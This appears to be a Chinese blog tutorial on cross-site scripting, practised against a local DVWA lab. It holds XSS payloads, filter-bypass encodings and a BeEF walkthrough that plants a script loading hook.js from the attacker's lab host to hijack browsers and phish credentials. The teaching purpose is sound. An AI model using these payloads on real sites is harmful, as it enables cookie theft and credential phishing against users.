当前位置: 首页 > news >正文

从一开始的网络攻防(四):XSS

靶场环境:docker安装DVWA

search找到DVWA后,pull下来,运行就可以

docker run -dt --name dvwa -p 8999:80 --rm citizenstig/dvwa-d
Detached 模式(后台运行容器)
-t
分配伪终端(TTY),即使后台运行也保持 STDIN 开放
--rm
容器停止时自动删除容器文件系统(避免残留)

XSS攻击简介

跨站脚本攻击(Cross-site-scripting)

主要基于java script(JS)完成恶意攻击行为,JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。

XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果

当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器就会解析这段XSS代码,也就是说用户被攻击了

只要没有对用户的输入进行严格过滤,就会被XSS

XSS危害

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料非法转账
  • 强制发送电子邮件
  • 网站挂马让更多人的受害
  • 控制受害者机器向其它网站发起攻击卖肉机

XSS分类

反射型

非持久性跨站点脚本攻击

攻击是一次性的,仅对当次的页面访问产生影响

攻击流程

存储型

持久型跨站点脚本

攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在

攻击流程

DOM型

既可能是反射型的,也有可能是存储型的

基于文档对象模型(Document Objeet Model,DOM)的一种漏洞

XSS产生原因

  • Web应用对用户输入过滤不严谨
  • 攻击者写入恶意的脚本代码到网页中
  • 用户访问了含有恶意代码的网页
  • 恶意脚本就会被浏览器解析执行并导致用户被攻击

构造XSS攻击

基础知识

常用html标签
  • <iframe> iframe标签会创建包含另外一个文档的内联框架
  • <textarea> textarea标签定义多行的文本输入控件
  • <img> img标签向网页中嵌入一幅图像
  • <script> script标签用于定义客户端脚本,比如JavaScriptript标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件
    • 必需的type属性规定脚本的类型
    • JavaScript的常见应用是图像操作、表单验证以及动态内容更新
常用的js脚本
  • alert——alert方法用于显示带有一条指定消息和一个确认按钮的警告框
  • window,location——window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面
  • location.href——返回当前显示的文档的完整URL
  • onload——一张页面或一幅图像完成加载
  • onsubmit——一个按钮被点击
  • onerror——在加载文档或图像时发生错误

构造脚本的方式

弹窗警告
<script>alert(1)</script>

中间换成document.cookie,可以弹窗用户cookie,<script>alert(document.cookie)</script>

页面嵌套
<iframe style="overflow:hidden;width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:0px;padding:0px;"src="http://192.168.8.133:8999/"></iframe>

src里放js脚本或者钓鱼网站,这里就以dvwa站点来演示

页面重定向
<script>window.location="https://www.baidu.com/"</script>
<!-- 或者 -->
<script>location.href="https://www.baidu.com/"</script>

网页会自动导航到其他界面

弹窗警告并重定向(更有效)
<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>

点击确定即会跳转

图片标签利用
<img src= "#" onerror=alert('欢迎来钓鱼')>

src后面本应该是实际的图片资源的路径,但是换成#后会报错,触发onerror的动作

onerror动作可以是js脚本等,这里以alert演示

存储型XSS基本演示

论坛里输入:你好中国<script>alert(1)</script>你好china

执行后会存到数据库中

之后其他人打开这个页面都会弹xss

访问恶意代码(网站种马)

诱导用户访问恶意网站的攻击文件xss.js,比如获取用户cookie稍后会通过BeEF将建立恶意站点

过滤绕过姿势

1. 大小写

<ScrIpt>alert('xss')</SCRipt>

2. 字符编码

字符编码采用URL、BaSe64、HTML等编码

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

图片标签利用,触发onerror

自动XSS攻击

BeEF

Browser Exploitation Framework(BeEF)BeEF - The Browser Exploitation Framework Project

BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透

BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单

功能

利用BeEF自动XSS攻击
1.1. kali中启动BeEF

1.2. 登录BeEF

http:/192.168.8.133:3000/ui/panel

用户名beef密码123456

1.3. 在dvwa网站中植入xss
1.3.1. DVWA清空缓存

1.3.2. DVWA植入XSS
<script src="http://192.168.8.133:3000/hook.js"></script>

在存储型XSS的点植入

1.4. 其他机器访问被攻击页面dwa的页面

本机访问,变成肉机,上线

因为是用过IP为192.168.8.1的网卡跟192.168.8.133连接,所以显示为192.168.8.1

1.5. 上线作用——社工

发送一个钓鱼攻击到肉鸡上,肉鸡会弹出相应的窗口

肉鸡在填入账号和密码后,在beef上获得数据

命令的颜色区别

  • 绿色对目标主机生效并且不可见(不会被发现)
    • 可获得肉机的正在运行的页面
  • 橙色对目标主机生效但可能可见(可能被发现)
  • 灰色对目标主机未必生效(可验证下)
  • 红色对目标主机不生效

http://www.dtcms.com/a/286045.html

相关文章:

  • hadoop(服务器伪分布式搭建)
  • FastAdmin后台登录地址变更原理与手动修改方法-后台入口机制原理解析-优雅草卓伊凡
  • Hadoop安全机制深度剖析:Kerberos认证与HDFS ACL细粒度权限控制
  • 《Web安全之深度学习实战》读书笔记总结
  • AI赋能轮胎安全:基于YOLO11的智能裂纹检测系统
  • 基于springboot+vue+mysql的智慧社区设计与实现(源码+论文+开题报告)
  • Docker Swarm 集群使用记录
  • Matlab打开慢、加载慢的解决办法
  • 免费的一些工具收集
  • 【Oracle】centos7离线静默安装oracle11g(p13390677_112040)
  • Hive 向量化执行引擎 Vectorized Execution 常见 NPE 报错分析及解决
  • 全球天气预报5天(经纬度版)免费API接口教程
  • Python绘制数据(二)
  • JAVA面试宝典 -《微服务治理:从链路追踪到熔断》
  • 某邮生活旋转验证码识别
  • 算法竞赛备赛——【图论】求最短路径——小结
  • 前端之CSS
  • MyBatis之关联查询
  • WEB安全架构
  • Tomcat及Nginx部署使用
  • DevExpress WinForms v25.1 亮点:AI驱动的语义搜索、模板库更新
  • RPC 与 Feign 的区别笔记
  • SQLite 数据库字段类型-详细说明,数据类型详细说明。
  • 服务器mysql数据的简单备份脚本
  • 深入浅出MyBatis缓存:如何让数据库交互飞起来
  • Agent-S:重新定义下一代 AI 智能体开发框架
  • 论文review SfM MVS VGGT: Visual Geometry Grounded Transformer
  • 【面试题】大厂高压面经实录丨第二期
  • Jmeter系列(6)-测试计划
  • 【工具变量】地级市人力资本测算数据集(1990-2024年)